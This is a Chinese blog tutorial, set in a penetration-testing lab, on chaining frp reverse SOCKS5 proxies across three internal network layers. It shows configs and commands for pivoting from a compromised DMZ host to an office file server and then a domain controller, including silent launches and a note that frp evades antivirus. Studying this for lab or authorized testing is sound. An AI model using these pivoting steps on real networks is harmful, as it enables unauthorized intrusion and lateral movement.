frp构建多级网络代理

news2024/11/20 2:26:18

简介

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,采用 Golang 编写,支持跨平台,仅需下载对应平台的二进制文件即可执行,没有额外依赖。frp可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。且frp不会被杀软查杀!!

frp 有windows和linux两个版本, 主要包含以下文件:

  • frps,服务端程序;frps.ini,服务端配置文件。

  • frpc,客户端程序;frpc.ini,客户端配置文件。客户端 linux 和 windows 都支持 负责把本地的流量连到服务器

项目地址:https://github.com/fatedier/frp

项目文档:文档 | frp

多层网络实战

测试环境如下,图中右侧有三个内网区域

  • 第一层网络:192.168.10.0/24 vmnet1(仅主机模式)

  • 第二层网络:192.168.20.0/24 vmnet2

  • 第三层网络:192.168.30.0/24 vmnet3

并在真实机中将VMnet1/2/3全部禁用,真是机就访问不到此虚拟网络。

一级网络代理

假设已经获取win2012的控制权,经过弱口令爆破,获取了ubuntu主机的ssh的登录凭据,需要继续渗透并登录ftp服务器的ssh。在win2012上使用frp搭建socks5代理服务器,通过socks5代理连接到ubuntu服务器。

服务端启动

使用vps作为服务端,这里vps为linux,所以下载对应的linux包

然后进行解压,因为是服务端,所以只需要用到frps文件

  1. 服务端配置

服务端配置文件frps.ini的内容如下,默认绑定7000端口,等待来自frp客户端的连接。

[common]
bind_port = 7000     
  1. 启动服务端

./frps
#或者,不指定-c会默认加载这个文件
./frps -c frps.ini

客户端配置

这里客户端为windows,所以下载对应的windows版

需要用到的文件为frpc.exe和frpc.ini,可以将两个文件都改个名字再放上去

  1. 客户端配置

客户端配置文件frpc.ini内容如下,指定frp服务端代理的ip、端口以及攻击连接代理服务器的端口1080

[common]
#如果tls_enable为true,则frpc将通过tls连接frps。否则可能运行不起来
tls_enable = true
#指向frp服务端绑定的ip
server_addr = 172.16.2.2
#指向frp服务端绑定的端口
server_port = 7000

[socks5]
#代理所使用的端口,会被转发到服务端
remote_port = 1080
plugin = socks5
  1. 启动客户端

使用win2012作为frp客户端,在win2012上执行如下命令,启动frp客户端。如果客户端为linux,启动方式也一样

frpc.exe -c frpc.ini             #运行时,按ctrl+c取消 会断开连接
#或
frpc.exe
#或者
start /b frpc.exe -c frpc.ini    #按ctrl+c取消,连接也不会断开。但是如果直接关闭此窗口则会断开连接

若客户端为linux

#启动
./frpc
#静默启动
nohup ./frpc >/dev/null 2>&1 & 
#停止
ps -aux|grep frp| grep -v grep
kill -9 pid号

此时,成功在win2012与vps之间搭建了一个socks5代理服务。然后,借助第三方工具,可以让计算机的其他应用使用这个代理,如Proxychains、Proxifier等。关于Proxifier的使用 —> https://www.yuque.com/chenchen-dqalz/qe15s1/cvd7gsnyl9067yhn

以Proxychains为例,编辑Proxychains的配置文件vim /etc/proxychains4.conf,将socks5代理服务器的地址指向frp服务端vps的地址,端口为1080

然后在命令前面加上“proxychains”,便可应用此socks5代理

proxychains ssh root@192.168.10.2

通过socks代理登录到内网ubuntu服务器

二级网络代理

获得dmz区域的ubuntu服务器控制权限后,经过信息收集,发现还有一个网段为192.168.20.x的办公区域网,需要继续渗透并登录文件服务器的远程桌面。用frp在dmz区与办公区之间搭建一个二级网络的socks5代理,从而访问办公区的文件服务器。

  1. 在vps上执行以下命令,启动frp服务端,服务端配置文件内容默认

[common]
bind_port = 7000     
启动服务端
./frps
  1. dmz区win2012上启动frp客户端

客户端frpc.ini内容如下,指定frp服务端代理的ip、端口、攻击连接代理服务器的端口

[common]
tls_enable = true
server_addr = 172.16.2.2
server_port = 7000

[socks5_forward]
type=tcp
#代理所使用的端口,会被转发到服务端
remote_port = 1080
#本地监听的ip
local_ip = 192.168.10.9
#要转发的本地端口
local_port = 10808

在win2012上执行,启动frp客户端,连接vps服务器,同时将本地的10808端口转发到vps的1080端口

frpc.exe
  1. win2012上启动frp服务端

服务端配置文件frps.ini内容如下

[common]
#在win2012上的frp服务端绑定的ip
bind_addr = 192.168.10.9
#在win2012上的frp服务端绑定的端口
bind_port = 7000

启动服务端

./frps
  1. ubuntu启动frp客户端

配置文件frpc.ini内容如下

[common]
tls_enable = true
server_addr = 192.168.10.9
server_port = 7000

[socks5]
type=tcp
remote_port = 10808
plugin = socks5
启动
./frpc

到此,在dmz区与办公区之间搭建了一个二级网络的socks5代理。同样,在/etc/proxychains4.conf最后一行添加“socks5 172.16.2.2 1080”,执行以下命令,即可通过该socks5代理连接办公区文件服务器的远程桌面

proxychains rdesktop 192.168.20.4

此时,即能访问第二层网络,也能访问第一层网络。

三级网络代理

入侵办公区后,经过信息收集,发现还有一个网段为192.168.30.x的核心网络需要继续渗透并登录域控制器的远程桌面。用frp在dmz区、办公区域核心区之间搭建一个三级网络的socks5代理,从而访问核心区的域控制器。

  1. 在vps上执行以下命令,启动frp服务端,服务端配置文件内容默认

[common]
bind_port = 7000     

启动服务端

./frps
  1. DMZ区win2012上启动frp客户端

客户端frpc.ini内容如下

[common]
tls_enable = true
server_addr = 172.16.2.2
server_port = 7000

[socks5_forward]
type=tcp
#代理所使用的端口
remote_port = 1080
#本地监听的ip
local_ip = 192.168.10.9
#要转发的本地端口
local_port = 10808

在win2012上执行,启动frp客户端,连接vps服务器,同时将本地的10808端口转发到vps的1080端口

frpc.exe
  1. DMZ区win2012上启动frp服务端

服务端配置文件frps.ini内容如下

[common]
#在win2012上的frp服务端绑定的ip
bind_addr = 192.168.10.9
#在win2012上的frp服务端绑定的端口
bind_port = 7000

启动服务端

./frps
  1. DMZ区ubuntu启动frp客户端

配置文件frpc.ini内容如下,将本地10809端口转发到win2012的10808端口

[common]
tls_enable = true
server_addr = 192.168.10.9
server_port = 7000

[socks5_forward]
type=tcp
remote_port = 10808
local_ip = 192.168.20.2
local_port = 10809
启动客户端
./frpc
  1. DMZ区ubuntu启动启动frp服务端

配置文件frps.ini内容如下

[common]
bind_addr = 192.168.20.2
bind_port = 7000
启动服务端
./frps
  1. 办公区win2012启动frp客户端

配置文件frpc.ini内容如下,并在10809端口上启动socks5代理服务后,转发到ubuntu服务器的10809端口

[common]
server_addr = 192.168.20.2
server_port = 7000

[socks5]
type=tcp
remote_port = 10809
plugin = socks5

启动客户端

./frpc

到此,三级网络代理搭建完成。同样,在/etc/proxychains4.conf最后一行添加“socks5 172.16.2.2 1080”,执行以下命令,即可通过该socks5代理连接核心区域控制器的远程桌面

  • 参考:《内网渗透体系建设》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/191429.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Idea 中【Maven】的环境配置

目录 一 maven 项目管理工具软件二.首先要安装Jdk1.7/8 和IDEA三.在IDEA中配置maven四.在MavenDemo01下 创建多个模块项目四.Jar包依赖 插件五.运用一 maven 项目管理工具软件 1 . Maven项目对象模型(POM),可以通过一小段描述信息来管理项目的构建,报告和文档的项目管理工具…

MQ如何保证消息不丢失

如何保证消息不丢失 哪些环节会造成消息丢失 其实主要就是跨网络的环境中需要考虑消息的丢失,主要是有以下几个方面 生产者往MQ发送消息MQ的Broker是集群有主从的,主节点把消息同步到从节点时也需要考虑消息丢失问题消息从内存持久化到硬盘时&#xf…

软考高级系统架构师背诵要点---软件架构设计

软件架构设计 软件架构的概念: 软件架构为软件系统提供了一个结构、行为和属性的高级抽象,由构成系统的元素的描述、这些元素的相互作用、指导元素集成的模式及这些模式的约束组成 软件架构41视图: 逻辑视图:主要是整个系统的抽…

Java基础:面向对象

一、设计对象并使用 二、封装 对象代表什么,就得封装对应的数据,并提供数据对应的行为。 1.private关键字:priviate修饰的成员变量只能在本类中访问。 2.this关键字:能够直接对应成员变量(当局部变量名相同时)。 3. 构造方法…

【Linux】十分钟快速了解Linux常用指令(建议收藏)

目录💖一. 关机指令01. shutdown02. halt03. reboot💖二. 常用指令04. ls05. pwd06. cd07. touch08. mkdir09. rm10. man11. cp(复制)12. mv指令13. nano14. cat15. less16. head17. tail18. find19. grep20. zip/unzip21. tar💖三、 日期指令…

JS 中 reduce()方法及使用详解

reduce()方法可以搞定的东西特别多,就是循环遍历能做的,reduce都可以做,比如数组求和、数组求积、统计数组中元素出现的次数、数组去重等等。 reduce() 方法对数组中的每个元素执行一个由您提供的reduce函数(依次执行),将其结果汇…

Python字符串分割方法【心得总结】

Python中字符串分割的常用方法 是直接调用字符串的str.split方法, 但是其只能指定一种分隔符, 如果想指定多个分隔符拆分字符串需要用到re.split方法 (正则表达式的split方法) 源码资料电子书:点击此处跳转文末名片获取 str.spli…

OAuth2简单介绍

目录 一、什么是OAuth2 二、OAuth2中的角色 1、资源所有者 2、资源服务器 3、客户 4、授权服务器 三、认证流程 四、生活中的OAuth2思维 五、令牌的特点 六、OAuth2授权方式 1、授权码 2、隐藏式 3、密码式 4、凭证式 一、什么是OAuth2 OAuth2.0是目前使用非常广…

7个高频出现的面试题

收集了2022年所有学生的面试题后,我整理出了7个高频出现的面试题,一起来看看。 高频问题1:请自我介绍下? 高频问题2:请介绍下最近做过的项目? 高频问题3:请介绍下你印象深刻的bug? 高…

Spring Batch 步骤对象-Chunk Tasklet

引言 接着上篇:Spring Batch 步骤对象-步骤Step与Tasklet 了解step步骤概念及其使用之后,本篇再来讲解spring batch使用更广,功能更强大的tasklet:居于块的批处理步骤:Chunk Tasklet 简介 居于chunk(块)的Tasklet相…

江西/杭州/黑龙江/深圳DAMA-CDGA/CDGP数据治理认证招生简章

2023年2月江西/杭州/黑龙江/深圳DAMA-CDGA/CDGP数据治理认证招生简章 DAMA认证为数据管理专业人士提供职业目标晋升规划,彰显了职业发展里程碑及发展阶梯定义,帮助数据管理从业人士获得企业数字化转型战略下的必备职业能力,促进开展工作实践…

【笔记】质量保障体系

一、什么叫质量保障体系?质量保障体系,是指指贯穿研发流程进行的一系列质量活动。通过方案选型、策略决策、工具支撑、组织协同分工等,把质量活动进行系统化、标准化、流程化。其目的是保障业务质量。质量保障体系质量活动工具平台质量流程。二、紧贴业务…

【My Electronic Notes系列——正弦波振荡电路】

目录 序言: 🏆🏆人生在世,成功并非易事,他需要破茧而出的决心,他需要永不放弃的信念,他需要水滴石穿的坚持,他需要自强不息的勇气,他需要无畏无惧的凛然。要想成功&#…

每天10个前端小知识 【Day 1】

前端面试基础知识题 1. 什么是尾调用优化和尾递归? 尾调用的概念非常简单,一句话就能说清楚,就是指某个函数的最后一步是调用另一个函数。 function f(x){ return g(x); }上面代码中,函数f的最后一步是调用函数g,这…

Axios网络请求

哈喽~大家好,这篇来看看Axios网络请求。 ​文章推荐链接SpringCloud Sentinel 使用SpringCloud Sentinel 使用将Nacos注册到springboot使用以及Feign实现服务调用将Nacos注册到springboot使用以及Feign实现服务调用微服务介绍与 SpringCloud Eureka微服务介绍与 Sp…

Spark07: 宽窄依赖、Stage的划分

一、宽依赖和窄依赖 1. 窄依赖 窄依赖(Narrow Dependency):指父RDD的每个分区只被子RDD的一个分区所使用,例如map、filter等这些算子。 一个RDD,对它的父RDD只有简单的一对一的关系,也就是说,RDD的每个partition仅仅…

Python分支循环规范:if elif for while

分支与循环 条件是分支与循环中最为核心的点, 解决的问题场景是不同的问题有不同的处理逻辑。 当满足单个或者多个条件或者不满足条件进入分支和循环, 这里也就说明这个对相同问题处理执行逻辑依据具体参数动态变化, 由此产生多种可能性&…

GAMES101笔记:辐射度量学(下)

Irradiance 定义:irradiance是单位面积上的power,这个单位面积是和入射光线垂直的方向上的单位面积。如果受光表面不垂直于光线,需要投影到垂直方向上进行计算(cosθ\thetaθ)。 Irradiance Falloff 光的Intensity…

零入门容器云网络实战-8->veth pair设备介绍

在介绍veth pair之间,先看一下下面的图, 这类东西有没有见过? 如果没有见过,赶紧看看你方圆10米之内有没有? 这就是网线,最明显的特征是有两端!即,两个水晶头 一端可以链接普通的电脑&#…

【技术调研】关于仪表盘转图片推送钉钉的技术方案调研

方案1—纯后端实现 后端写定时任务,定时启动查询服务。查询出数据集结果,拼接成Table样式,再转换成图片。推送至钉钉。 优点:只需要后端开发,不涉及前端。 缺点:太定制化,不通用,样…